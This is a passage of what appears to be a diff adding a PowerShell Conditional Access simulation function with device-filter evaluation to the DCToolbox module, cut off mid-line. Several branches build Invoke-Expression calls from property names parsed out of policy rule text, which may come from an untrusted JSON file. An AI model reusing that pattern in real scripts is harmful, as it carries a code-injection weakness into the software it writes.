simplified output (outputs to 'Informational' stream with Write-Host). + + .PARAMETER VerbosePolicyEvaluation + Include detailed verbose policy evaluation info. Use for troubleshooting and debugging. + + .PARAMETER IncludeNonMatchingPolicies + Also, include all policies that did not match, and therefor was not applied. This can be useful to produce different kinds of Conditional Access reports. + + .PARAMETER DeviceID + DEVICEID + + .PARAMETER DisplayName + DisplayName + + .PARAMETER DeviceOwnership + DeviceOwnership + + .PARAMETER EnrollmentProfileName + EnrollmentProfileName + + .PARAMETER IsCompliant + IsCompliant + + .PARAMETER Manufacturer + Manufacturer + + .PARAMETER MdmAppId + MdmAppId + + .PARAMETER Model + Model + + .PARAMETER OperatingSystem + OperatingSystem + + .PARAMETER OperatingSystemVersion + OperatingSystemVersion + + .PARAMETER PhysicalIds + PhysicalIds + + .PARAMETER ProfileType + ProfileType + + .PARAMETER SystemLabels + SystemLabels + + .PARAMETER TrustType + TrustType + + .PARAMETER ExtensionAttribute1 + ExtensionAttribute1 + + .PARAMETER ExtensionAttribute2 + ExtensionAttribute2 + + .PARAMETER ExtensionAttribute3 + ExtensionAttribute3 + + .PARAMETER ExtensionAttribute4 + ExtensionAttribute4 + + .PARAMETER ExtensionAttribute5 + ExtensionAttribute5 + + .PARAMETER ExtensionAttribute6 + ExtensionAttribute6 + + .PARAMETER ExtensionAttribute7 + ExtensionAttribute7 + + .PARAMETER ExtensionAttribute8 + ExtensionAttribute8 + + .PARAMETER ExtensionAttribute9 + ExtensionAttribute9 + + .PARAMETER ExtensionAttribute10 + ExtensionAttribute10 + + .PARAMETER ExtensionAttribute11 + ExtensionAttribute11 + + .PARAMETER ExtensionAttribute12 + ExtensionAttribute12 + + .PARAMETER ExtensionAttribute13 + ExtensionAttribute13 + + .PARAMETER ExtensionAttribute14 + ExtensionAttribute14 + + .PARAMETER ExtensionAttribute15 + ExtensionAttribute15 + + .INPUTS + None + + .OUTPUTS + Simulated Conditional Access evaluation results + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + # Run basic evaluation with default settings. + Invoke-DCConditionalAccessSimulationWithDevices | Format-List + + .EXAMPLE + # Run evaluation with custom settings. + $Parameters = @{ + UserPrincipalName = 'user@example.com' + ApplicationDisplayName = 'Office 365' + ClientApp = 'mobileAppsAndDesktopClients' + TrustedIPAddress = $true + Country = 'US' + Platform = 'windows' + SignInRiskLevel = 'medium' + UserRiskLevel = 'high' + SummarizedOutput = $true + VerbosePolicyEvaluation = $false + IncludeNonMatchingPolicies = $false + DeviceID = 'device123' + DisplayName = 'testDevice01' + DeviceOwnership = 'personal' + EnrollmentProfileName = 'corporateEnrollment' + IsCompliant = $true + Manufacturer = 'contoso' + MdmAppId = 'app123' + Model = 'surfacePro7' + OperatingSystem = 'windows' + OperatingSystemVersion = '10.0.1945' + PhysicalIds = 'systemSKU:1259' + ProfileType = 'printer' + SystemLabels = 'cloudPC' + TrustType = 'Microsoft Entra hybrid joined' + ExtensionAttribute1 = 'customText' + } + + Invoke-DCConditionalAccessSimulationWithDevices @Parameters + + .EXAMPLE + # Run basic evaluation offline against a JSON of Conditional Access policies. + Invoke-DCConditionalAccessSimulation -JSONFile 'Conditional Access Backup.json' | Format-List + #> + + + + # ----- [Initializations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$JSONFile, + + [parameter(Mandatory = $false)] + [string]$UserPrincipalName = 'All', + + [parameter(Mandatory = $false)] + [string]$ApplicationDisplayName = 'All', + + [parameter(Mandatory = $false)] + [string]$UserAction, + + [parameter(Mandatory = $false)] + [ValidateSet('browser', 'mobileAppsAndDesktopClients', 'exchangeActiveSync', 'easSupported', 'other')] + [string]$ClientApp = 'browser', + + [parameter(Mandatory = $false)] + [switch]$TrustedIPAddress, + + [parameter(Mandatory = $false)] + [ValidateLength(2, 2)] + [string]$Country = ((Get-DCPublicIP).country), + + [parameter(Mandatory = $false)] + [ValidateSet('all', 'android', 'iOS', 'windows', 'windowsPhone', 'macOS', 'linux', 'spaceRocket')] + [string]$Platform = 'windows', + + [parameter(Mandatory = $false)] + [ValidateSet('none', 'low', 'medium', 'high')] + [string]$SignInRiskLevel = 'none', + + [parameter(Mandatory = $false)] + [ValidateSet('none', 'low', 'medium', 'high')] + [string]$UserRiskLevel = 'none', + + [parameter(Mandatory = $false)] + [switch]$SummarizedOutput, + + [parameter(Mandatory = $false)] + [switch]$VerbosePolicyEvaluation, + + [parameter(Mandatory = $false)] + [switch]$IncludeNonMatchingPolicies, + + [parameter(Mandatory = $false)] + [string]$DeviceID, + + [parameter(Mandatory = $false)] + [string]$DisplayName, + + [parameter(Mandatory = $false)] + [ValidateSet('personal', 'company')] + [string]$DeviceOwnership, + + [parameter(Mandatory = $false)] + [string]$EnrollmentProfileName, + + [parameter(Mandatory = $false)] + [ValidateSet('true', 'false')] + [string]$IsCompliant, + + [parameter(Mandatory = $false)] + [string]$Manufacturer, + + [parameter(Mandatory = $false)] + [string]$MdmAppId, + + [parameter(Mandatory = $false)] + [string]$Model, + + [parameter(Mandatory = $false)] + [string]$OperatingSystem, + + [parameter(Mandatory = $false)] + [string]$OperatingSystemVersion, + + [parameter(Mandatory = $false)] + [string]$PhysicalIds, + + [parameter(Mandatory = $false)] + [ValidateSet('registeredDevice', 'secureVM', 'printer', 'shared', 'ioT')] + [string]$ProfileType, + + [parameter(Mandatory = $false)] + [ValidateSet('azureResource', 'azureVirtualDesktop', 'cloudPC', 'M365Managed', 'MDEJoined', 'MDEManaged', 'microsoftPrintServiceConnector', 'multiUser', 'printerAllInOne', 'printerStandard', 'printer3D', 'scannerStandard')] + [string]$SystemLabels, + + [parameter(Mandatory = $false)] + [ValidateSet('AzureAD', 'ServerAD', 'Workplace')] + [string]$TrustType, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute1, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute2, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute3, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute4, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute5, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute6, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute7, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute8, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute9, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute10, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute11, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute12, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute13, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute14, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute15 + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + $Policies = $null + + if ($JSONFile) { + $Policies = Get-Content -Path $JSONFile | ConvertFrom-Json + + if ($UserPrincipalName -ne 'GuestsOrExternalUsers') { + $UserPrincipalName = 'All' + } + } + else { + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.Read.ConditionalAccess', 'Policy.Read.All', 'User.Read.All' -Verbose + + + # Get all existing policies. + Write-Verbose -Verbose -Message "Fetching Conditional Access policies..." + $Policies = Get-MgIdentityConditionalAccessPolicy + } + + + # Set conditions to simulate. + + Write-Verbose -Verbose -Message "Simulating Conditional Access evaluation..." + + $CustomObject = New-Object -TypeName psobject + + + # User. + $UserId = (Get-MgUser -Filter "userPrincipalName eq '$UserPrincipalName'").Id + + if ($UserId) { + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserId" -Value $UserId + } + else { + if ($UserPrincipalName -eq 'GuestsOrExternalUsers') { + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserId" -Value 'GuestsOrExternalUsers' + } + else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserId" -Value 'All' + } + } + + + # Groups. + $Groups = $null + + if ($UserId) { + $Groups = (Get-MgUserTransitiveMemberOf -UserId $UserId).Id + $CustomObject | Add-Member -MemberType NoteProperty -Name "Groups" -Value $Groups + } + else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "Groups" -Value $null + } + + + #Application. + $AppId = $null + if ($ApplicationDisplayName -eq 'All') { + $AppId = 'All' + } + elseif ($ApplicationDisplayName -eq 'Office 365') { + $AppId = 'Office365' + } + elseif ($ApplicationDisplayName -eq 'Microsoft Admin Portals') { + $AppId = 'MicrosoftAdminPortals' + } + else { + $AppId = (Get-MGServicePrincipal -Filter "DisplayName eq '$ApplicationDisplayName'").AppId + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Application" -Value $AppId + + + # Client App (all, browser, mobileAppsAndDesktopClients, exchangeActiveSync, easSupported, other). + $CustomObject | Add-Member -MemberType NoteProperty -Name "ClientApp" -Value $ClientApp + + + # IP Address. + $CustomObject | Add-Member -MemberType NoteProperty -Name "TrustedIPAddress" -Value $TrustedIPAddress + + + # Country. + if ($Country -eq $null) { + $Country = 'All' + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Country" -Value $Country + + + # Platform (android, iOS, windows, windowsPhone, macOS, linux, all, unknownFutureValue). + $CustomObject | Add-Member -MemberType NoteProperty -Name "Platform" -Value $Platform + + + # Sign-in Risk Level (low, medium, high, none). + $CustomObject | Add-Member -MemberType NoteProperty -Name "SignInRiskLevel" -Value $SignInRiskLevel + + + # User Risk Level (low, medium, high, none). + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserRiskLevel" -Value $UserRiskLevel + + #DeviceID. + $CustomObject | Add-Member -MemberType NoteProperty -Name "DeviceID" -Value $DeviceID + + #DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "DisplayName" -Value $DisplayName + + #DeviceOwnership (personal, company) + $CustomObject | Add-Member -MemberType NoteProperty -Name "DeviceOwnership" -Value $DeviceOwnership + + #EnrollmentProfileName + $CustomObject | Add-Member -MemberType NoteProperty -Name "EnrollmentProfileName" -Value $EnrollmentProfileName + + #IsCompliant + $CustomObject | Add-Member -MemberType NoteProperty -Name "IsCompliant" -Value $IsCompliant + + #Manufacturer + $CustomObject | Add-Member -MemberType NoteProperty -Name "Manufacturer" -Value $Manufacturer + + #MdmAppId + $CustomObject | Add-Member -MemberType NoteProperty -Name "MdmAppId" -Value $MdmAppId + + #Model + $CustomObject | Add-Member -MemberType NoteProperty -Name "Model" -Value $Model + + #OperatingSystem + $CustomObject | Add-Member -MemberType NoteProperty -Name "OperatingSystem" -Value $OperatingSystem + + #OperatingSystemVersion + $CustomObject | Add-Member -MemberType NoteProperty -Name "OperatingSystemVersion" -Value $OperatingSystemVersion + + #PhysicalIds + $CustomObject | Add-Member -MemberType NoteProperty -Name "PhysicalIds" -Value $PhysicalIds + + #ProfileType + $CustomObject | Add-Member -MemberType NoteProperty -Name "ProfileType" -Value $ProfileType + + #SystemLabels + $CustomObject | Add-Member -MemberType NoteProperty -Name "SystemLabels" -Value $SystemLabels + + #TrustType + $CustomObject | Add-Member -MemberType NoteProperty -Name "TrustType" -Value $TrustType + + #ExtensionAttribute1 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute1" -Value $ExtensionAttribute1 + + #ExtensionAttribute2 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute2" -Value $ExtensionAttribute2 + + #ExtensionAttribute3 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute3" -Value $ExtensionAttribute3 + + #ExtensionAttribute4 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute4" -Value $ExtensionAttribute4 + + #ExtensionAttribute5 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute5" -Value $ExtensionAttribute5 + + #ExtensionAttribute6 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute6" -Value $ExtensionAttribute6 + + #ExtensionAttribute7 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute7" -Value $ExtensionAttribute7 + + #ExtensionAttribute8 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute8" -Value $ExtensionAttribute8 + + #ExtensionAttribute9 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute9" -Value $ExtensionAttribute9 + + #ExtensionAttribute10 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute10" -Value $ExtensionAttribute10 + + #ExtensionAttribute11 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute11" -Value $ExtensionAttribute11 + + #ExtensionAttribute12 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute12" -Value $ExtensionAttribute12 + + #ExtensionAttribute13 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute13" -Value $ExtensionAttribute13 + + #ExtensionAttribute14 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute14" -Value $ExtensionAttribute14 + + #ExtensionAttribute15 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute15" -Value $ExtensionAttribute15 + + $ConditionsToSimulate = $CustomObject + + + # Show conditions to test. + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message ($ConditionsToSimulate | Format-List | Out-String) } + + # Printing the parameters + # Write-Verbose -Verbose "Evaluating policy for UserPrincipalName: $($Parameters.UserPrincipalName), + # ApplicationDisplayName: $($Parameters.ApplicationDisplayName), + # ClientApp: $($Parameters.ClientApp), + # TrustedIPAddress: $($Parameters.TrustedIPAddress), + # Country: $($Parameters.Country), + # Platform: $($Parameters.Platform), + # SignInRiskLevel: $($Parameters.SignInRiskLevel), + # UserRiskLevel: $($Parameters.UserRiskLevel), + # SummarizedOutput: $($Parameters.SummarizedOutput), + # VerbosePolicyEvaluation: $($Parameters.VerbosePolicyEvaluation), + # IncludeNonMatchingPolicies: $($Parameters.IncludeNonMatchingPolicies)" + + + + + + + # Loop through all Conditional Access policies and test the current conditions. + $Result = foreach ($Policy in $Policies) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY EVALUATION: $($Policy.DisplayName)" } + + $CustomObject = New-Object -TypeName psobject + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Policy" -Value $Policy.DisplayName + + $GrantControls = $Policy.GrantControls | Select-Object AuthenticationStrength, Operator, BuiltInControls, TermsOfUse, CustomAuthenticationFactors + + try { + if ($GrantControls.authenticationStrength.id) { + $GrantControls.authenticationStrength = $true + } + else { + $GrantControls.authenticationStrength = $false + } + + $GrantControls = $GrantControls | ConvertTo-Json -Depth 10 + + $CustomObject | Add-Member -MemberType NoteProperty -Name "GrantControls" -Value $GrantControls + } + catch { + $CustomObject | Add-Member -MemberType NoteProperty -Name "GrantControls" -Value $GrantControls + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "SessionControls" -Value ($Policy.SessionControls | Select-Object ApplicationEnforcedRestrictions, CloudAppSecurity, DisableResilienceDefaults, PersistentBrowser, SignInFrequency | ConvertTo-Json) + + + + + + $PolicyMatch = $true + $UserMatch = $false + $GroupMatch = $false + + + #Enabled + if ($Policy.State -eq 'enabled') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Enabled: APPLIED' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Enabled: NOT APPLIED' } + $PolicyMatch = $false + } + + + #ApplicationFilter + + # ExcludeApplications: + if ($Policy.Conditions.Applications.ExcludeApplications -contains $ConditionsToSimulate.Application) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeApplications: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeApplications: APPLIED' } + } + + + + # IncludeApplications + if ($Policy.Conditions.Applications.IncludeApplications -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: APPLIED' } + } + elseif ($Policy.Conditions.Applications.IncludeApplications -eq 'none') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: NOT APPLIED' } + $PolicyMatch = $false + } + elseif ($Policy.Conditions.Applications.IncludeApplications -notcontains $ConditionsToSimulate.Application) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: APPLIED' } + } + + + #IncludeUserActions + # + + + #ClientAppTypes + if ($Policy.Conditions.ClientAppTypes -eq 'all') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ClientAppTypes: APPLIED' } + } + elseif ($Policy.Conditions.ClientAppTypes -notcontains $ConditionsToSimulate.ClientApp) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ClientAppTypes: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ClientAppTypes: APPLIED' } + } + + #-------------------------------------------------------------------------------------------------------------------------------------------------- + #The device rule needs to be split into separate parts before it can be used + $ToggleVerbosePrinting = $false + + #Split a long rule with multiple sections into separate parts + $entireRule = $Policy.Conditions.devices.deviceFilter.rule + if ($null -ne $entireRule) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "entireRule: $($entireRule)" } + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Loop begins of individually cut polices" } + } + + $splitRuleArray = $entireRule -split '\s+-or\s+|\s+-and\s+|\(|\)' | ForEach-Object { $_.Trim() } | Where-Object { $_ -ne '' } + + # Write-Verbose -Verbose "entireRule: $($entireRule)" + # Write-Verbose -Verbose "entireRule: $($splitRuleArray[0])" + # Write-Verbose -Verbose "entireRule: $($splitRuleArray[1])" + # Write-Verbose -Verbose "entireRule: $($splitRuleArray[2])" + + $PolicyMatchArray = @() + + foreach ($singleSplitRule in $splitRuleArray) { + # Split the string into parts + $Parts = $singleSplitRule -split ' ' + + # Assign the components Example: device.deviceId -in ["25","30","35"] + $DeviceProperty = $Parts[0] -replace 'device\.', '' # Extracts 'deviceId' + $DeviceOperator = $Parts[1] # Extracts '-in' + + # Handle $DeviceValue: Strip brackets and parse values + $RawDeviceValue = $Parts[2] -replace '^\[|\]$', '' # Removes the square brackets (e.g., ["25","30","35"] -> "25","30","35") + + # Split into an array based on commas + $DeviceValue = $RawDeviceValue -split '","' # Splits "25","30","35" into @("25", "30", "35") + + # Clean up any leftover quotes + $DeviceValue = $DeviceValue -replace '"', '' # Removes any surrounding quotes from each value + + # Printing the policy variables based on what type of mode it is and what the property is + #Property=deviceId and Mode=include + # if ($Policy.Conditions.devices.deviceFilter.mode -eq 'include') { + # if ($DeviceProperty -eq 'deviceId') { + # Write-Verbose -Verbose "It is include and deviceId" + # Write-Verbose -Verbose "Evaluating policy for deviceMode: $($Policy.Conditions.devices.deviceFilter.mode)" + # Write-Verbose -Verbose "Evaluating policy for deviceId: $($Policy.Conditions.devices.deviceFilter.rule)" + # } + # } + # #Property=deviceId and Mode=exclude + # if ($Policy.Conditions.devices.deviceFilter.mode -eq 'exclude') { + # if ($DeviceProperty -eq 'deviceId') { + # Write-Verbose -Verbose "It is exclude and deviceId" + # Write-Verbose -Verbose "Evaluating policy for deviceMode: $($Policy.Conditions.devices.deviceFilter.mode)" + # Write-Verbose -Verbose "Evaluating policy for deviceId: $($Policy.Conditions.devices.deviceFilter.rule)" + # } + # } + + # #Property=deviceOwnership and Mode=include + # if ($Policy.Conditions.devices.deviceFilter.mode -eq 'include') { + # if ($DeviceProperty -eq 'deviceOwnership') { + # Write-Verbose -Verbose "It is include and deviceOwnership" + # Write-Verbose -Verbose "Evaluating policy for deviceMode: $($Policy.Conditions.devices.deviceFilter.mode)" + # Write-Verbose -Verbose "Evaluating policy for deviceOwnership: $($Policy.Conditions.devices.deviceFilter.rule)" + # } + # } + # #Property=deviceOwnership and Mode=exclude + # if ($Policy.Conditions.devices.deviceFilter.mode -eq 'exclude') { + # if ($DeviceProperty -eq 'deviceOwnership') { + # Write-Verbose -Verbose "It is exclude and deviceOwnership" + # Write-Verbose -Verbose "Evaluating policy for deviceMode: $($Policy.Conditions.devices.deviceFilter.mode)" + # Write-Verbose -Verbose "Evaluating policy for deviceOwnership: $($Policy.Conditions.devices.deviceFilter.rule)" + # } + # } + + # #Property=isCompliant and Mode=include + # if ($Policy.Conditions.devices.deviceFilter.mode -eq 'include') { + # if ($DeviceProperty -eq 'isCompliant') { + # Write-Verbose -Verbose "It is include and isCompliant" + # Write-Verbose -Verbose "Evaluating policy for deviceMode: $($Policy.Conditions.devices.deviceFilter.mode)" + # Write-Verbose -Verbose "Evaluating policy for isCompliant: $($Policy.Conditions.devices.deviceFilter.rule)" + # } + # } + # #Property=isCompliant and Mode=exclude + # if ($Policy.Conditions.devices.deviceFilter.mode -eq 'exclude') { + # if ($DeviceProperty -eq 'isCompliant') { + # Write-Verbose -Verbose "It is exclude and isCompliant" + # Write-Verbose -Verbose "Evaluating policy for deviceMode: $($Policy.Conditions.devices.deviceFilter.mode)" + # Write-Verbose -Verbose "Evaluating policy for isCompliant: $($Policy.Conditions.devices.deviceFilter.rule)" + # } + # } + + $concatedToPrintParamater = $Parameters.$DeviceProperty + if ($null -ne $entireRule) { + $PolicyMatch = $true + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "------------------------- EntraIdRule: [$($singleSplitRule)] | ParameterValue: [$($concatedToPrintParamater)] -------------------------" } + } + + #Property=DeviceFilter and Mode=include + #check if it is include + if ($Policy.Conditions.devices.deviceFilter.mode -eq 'include') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Device mode is include." } + if (@($DeviceProperty) -match 'deviceId|mdmAppId') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = include" } + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + #check if value in the rule equals the one given with parameters + if (@($DeviceValue) -contains $ConditionsToSimulateString) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "Include $($DeviceProperty)s: APPLIED" } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + #value in the rule does not equal the one given with parameters + else { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + } + } + elseif (@($DeviceProperty) -match 'deviceOwnership|isCompliant|profileType|trustType') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = include" } + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + #check if value in the rule equals the one given with parameters + if (@($DeviceValue) -contains $ConditionsToSimulateString) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + #value in the rule does not equal the one given with parameters + else { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + } + } + elseif (@($DeviceProperty) -match 'physicalIds|systemLabels') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = include" } + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + #check if value in the rule equals the one given with parameters + if (@($DeviceValue) -contains $ConditionsToSimulateString) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + #value in the rule does not equal the one given with parameters + else { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + } + } + elseif (@($DeviceProperty) -match 'displayName|enrollmentProfileName|manufacturer|model|operatingSystem|operatingSystemVersion|extensionAttribute1|extensionAttribute2|extensionAttribute3|extensionAttribute4|extensionAttribute5|extensionAttribute6|extensionAttribute7|extensionAttribute8|extensionAttribute9|extensionAttribute10|extensionAttribute11|extensionAttribute12|extensionAttribute13|extensionAttribute14|extensionAttribute15') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = include" } + $ConditionsToSimulateString = Invoke-Expression 